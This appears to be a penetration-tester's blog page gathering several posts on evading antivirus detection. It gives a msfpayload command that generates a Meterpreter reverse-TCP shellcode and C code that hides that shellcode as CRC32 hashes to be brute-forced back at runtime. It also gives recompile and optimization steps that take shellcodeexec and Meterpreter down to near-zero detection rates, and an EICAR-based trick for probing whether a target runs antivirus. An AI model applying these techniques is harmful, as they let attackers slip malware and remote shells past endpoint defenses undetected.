Tag: av

Presentation: Understanding & avoiding AV detection

A while ago I gave a presentation / workshop on evading anti virus using multiple techniques. This was the agenda:

  • Common pitfalls
  • Lab prerequisites
  • AV detection methods
  • Signature evasion
  • Heuristics evasion
    • Packers / Crypters / etc
    • Payload transformations
  • Building your own evasion
    • Meterpreter loaders
    • Shellcode executers

You can download the slides here, keep in mind that the goal of the presentation / workshop was to give the attendees a broad overview and some pointers so that they could continue researching the subject themselves. A last addition to the presentation is a POC script to split files while maintaining a valid PE.

Hash encapsulation to bypass AV

The previous entry was about lowering detection rates on AV by just simply recompiling and/or optimizing the source. This worked pretty well except for the really known tools like meterpreter. So let’s continue where we left off and make a undetectable executable for psexec purposes. First thing I did was the most obvious thing of course, I followed the shellcodeexec instructions and generated a metasploit alpha-numeric shellcode. Then I adjusted the source of shellcodeexec to incorporate the shellcode instead of passing it as an argument. This however failed miserably and the detection ratio was higher then 6/46. Then it hit me: I had lowered the detection rate on the ‘stage’ part and NOT on the ‘stager’ part. So that means we have to make some more executable code undetected, this time we’ll put a little bit more of effort into it:

FUD

Now that looks pretty sweet doesn’t it? 0/46 seems this time we don’t have to be happy with just lowering the detection rate, we have fully evaded it. Let’s have a look at how we can do this:

The concept of “self brute forcing” was used, but instead of using a cipher like AES, I used hashes. Normally you encrypt the entire payload with a weak key and then upon execution you brute force the key, hyperion is an example of this technique.  It’s pretty bulky still since the entire payload is just one big blob.  So I thought why only brute force the key and not the entire payload? So I modified the already undetected shellcodeexec to contain only hashes of the meterpreter payload. This way it’s a single executable that you can use for all kind of stuff. Don’t forget however that it’s still staged, so with this we are making the ‘stager’ part fully undetectable, but not the actual stage. If you need just one exe without stages have a look at ultimet.

Let’s generate the shellcode that is being detected:

cd /opt/metasploit-4.5.0/app
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=10.50.0.103 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

Which looks like this:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2[…]

That doesn’t look to hard to obfuscate does it? Let’s go at it one step at the time. First we decide what hashing algorithm we want to use. For the POC implementation I went with CRC32 which is fast and the code is small. Then you have to decide how much data you want to brute force, the more data you brute force the longer it takes. So I went for a 3 character brute force. Now that we know all this we can get hands-on and build the obfuscator and then implement the bruteforcer into shellcodeexec. The obfuscator looks like this:

void genhashes(char *s,int len,int steps){
	int i,j;
	char *data = (char *)malloc(steps);
	memset(data,0,steps);

	printf("\n");
	for(i=0;i<len;i+=steps){
		for(j=0;j<steps;j++){
			data[j] = s[i+j];
		}
		printf("%u,",crc32(&data[0],strlen(data)));
	}
	free(data);
}

Like you can see it loops through the string and hashes per the given amount of characters, which are outputted in C array friendly format. So now your payload looks like this:

4152682635,2930860581,2930860581,2930860581,2930860581,2930860581,4135321336,919810150,[…]

Continue reading “Hash encapsulation to bypass AV”

AV evasion: Recompiling & Optimizing FTW!

Lowering the detection rate of binaries can be done in two mayor ways like we all know:

  • modify the binary
  • modify the source

The first option one has a lot of articles on the internet covering it, so I’ll not be covering it, maybe in the feature. The second one is also a well known one, but not a often used one imo. A lot of people are either afraid of the source, don’t understand it or think they’ll brake it.

So let’s try and take those fears away, specially since it also requires minimal effort & time which can be a real PITA when you need to pwn a company in a couple of hours. Let’s take shellcodeexec as our first example and directly dive into the whole compiling thing. For the ones wondering what it is, Carnal0wnage has a great writeup on how to use it and what it is. You’ll need a compiler, which luckily for use there are tons of. To keep it simple I’ve used Visual Studio Express 2010. It’s a great IDE & Compiler in one and a lot of source just works. After downloading and installing it, here comes the “hard” part:

  • Download the shellcodeexec source
  • Extract it
  • Doubleclick on “shellcodeexec-master\windows\shellcodeexec\shellcodeexec.vcproj”
  • Click “Finish” on the conversion wizard window
  • Change Debug to Release

makerel

  • Then press F7
  • The executable appears in the folder “shellcodeexec-master\windows\Release”

So what do you think, was this enough to evade AV? Let’s have a look:

no-detection

Well that’s fun…a simple recompile lowered the detection rate from  37/46 to 0/46 or to put it simple, it’s now fully undetected. You now might ask, does this always work? Well no, but it sure does lower the detection rates. Let’s have a look at meterpreter for example, what happens when we recompile it?

lazyeasy

That didn’t exactly go as planned did it? On meterpreter it only accomplished:

  • 16/46 (fresh recompile)
  • 6/46 (adjusting to speed optimization)

Still if you are looking for an EASY way to lower the detection rate of your tool, this is pretty nice. Besides being easy it also gives you a lot of freedom to just change the code slightly and probably reach that much desired “fully undetected” goal.

Let’s have a quick look on how to compile meterpreter, just to make sure the internet has another reference on the subject.

All the previous steps still apply, but also make sure to unload the project “ext_server_sniffer”, although the answer can also be easily found by searching for the error. This is kinda all it takes to bring it down to the showed 16/46 from the normal 35/46 that meterpreter is rated when being uploaded for analysis. If you want to lower it further you can adjust the optimization options of the compiler. Depending on the project you want to adjust, the meterpreter one is called “metsrv”, right click on it and choose properties –> configuration properties –>c/c++ –> optimization:

opt

You can play with a lot of them, be careful this is that moment that you can actually break something. I’ve only played with “Optimization” and “Favor size or speed” which was enough to lower the detection rate to 6/46. Sometimes a project also contains dependency which if also modified could lower the detection rate even further. For meterpreter you can view this by right-clicking on the project and choosing “project dependencies”:

deps

We now have accomplished the following with minimal effort & time:

  • Make shellcodeexec FUD
  • Lower the detection rate of meterpreter drastically

We could try and make meterpreter FUD by changing even more compiler / linker options (or even the source itself), but this would require more testing, clicking, uploading and since I need to catch some sleep, I’ll leave that as an excersize for the reader. Hope you have fun recompiling all kind of tools out there and if you run into errors just copy/paste them into google or bing.

References

Remote AV detection with EICAR

This is just a little midday-thought I had and well…it kinda works but not as expected yet. I’d still like to share it due to it’s simplicity. The following is all that’s needed:

<img src=”eicar.png” onload=”alert(‘AV NO’);” onerror=”alert(‘AV YES’);”>

The above should theoretically trigger “AV NO” when there is no AV installed and “AV YES” when an antivirus is installed. If you wonder why this should work it’s because of the so called “eicar string“(that you of course embed in the fake png image). When an AV encounters this special string it should trigger an alert, the string is mainly used to test if an AV functions as expected without risking an actual infection. So my theory was based upon most AV products actively blocking the file which should result in the fake image not being loaded. However after testing this with IE, Chrome & FireFox it seems that it only works as expected with IE. This test isn’t very reliable since I’ve only tested with one AV product, so feel free to test this method with others and maybe it will work with the other browsers.

I’ve done a quick search around for other detection vectors using the eicar string and only found one PDF which is pretty interesting since it describes enumerating if mail servers have an AV installed and depending on the configuration the mail servers can even disclose the AV version number.

Conclusion is that the eicar file seems to be a good candidate to detect an AV if you manage to deliver it and probe if it has been blocked. I’ve done some quick testing with cookies, but unfortunately they get manipulated by the browser thus invalidating the eicar string. If anyone has got some time on their hands maybe it’s possible to deliver eicar using HTML5 storage or flash or silverlight and detect if it’s been blocked. If you plan on further researching this to detect an AV remotely please be aware of the following requirements to deliver the eicar string:

The first 68 characters is the known string. It may be optionally appended by any combination of whitespace characters with the total file length not exceeding 128 characters. The only whitespace characters allowed are the space character, tab, LF, CR, CTRL-Z.

So unfortunately my whole theory didn’t exactly work 100% as expected but hey that’s why theories are always put to the test right?

p.s. Don’t forget you can also apply this the other way around, upload a file with the eicar string to a server and you can probably determine if there is an AV product installed (assuming you are able to remotely check if the file was blocked/deleted). In the logs it will show as EICAR TEST most probably…thus maybe even fooling the adminstrator to not pay attention to it.